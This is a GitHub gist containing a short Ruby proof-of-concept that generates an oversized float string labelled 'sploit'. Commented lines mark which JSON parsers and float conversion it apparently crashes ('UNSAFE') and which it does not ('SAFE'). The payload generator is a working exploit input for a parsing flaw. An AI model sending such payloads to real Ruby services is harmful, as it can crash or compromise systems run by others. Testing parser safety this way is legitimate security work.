-
-
Save vpereira/7679084 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'yajl' | |
require 'json' | |
require 'oj' | |
def digit_pattern | |
digit_pattern ||= rand(10000).to_s | |
end | |
def integer_part | |
digit_pattern | |
end | |
def multiplier | |
(500000 * (1.0/digit_pattern.size)).to_i | |
end | |
def fractional_part | |
digit_pattern * multiplier | |
end | |
def evil_float_string | |
[integer_part,fractional_part].join('.') | |
end | |
sploit = '[' | |
sploit << evil_float_string | |
sploit << ']' | |
#evil_float_string.to_f #UNSAFE | |
#JSON.parse sploit #UNSAFE | |
#Yajl::Parser.parse sploit #SAFE | |
#Oj.load sploit #SAFE |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment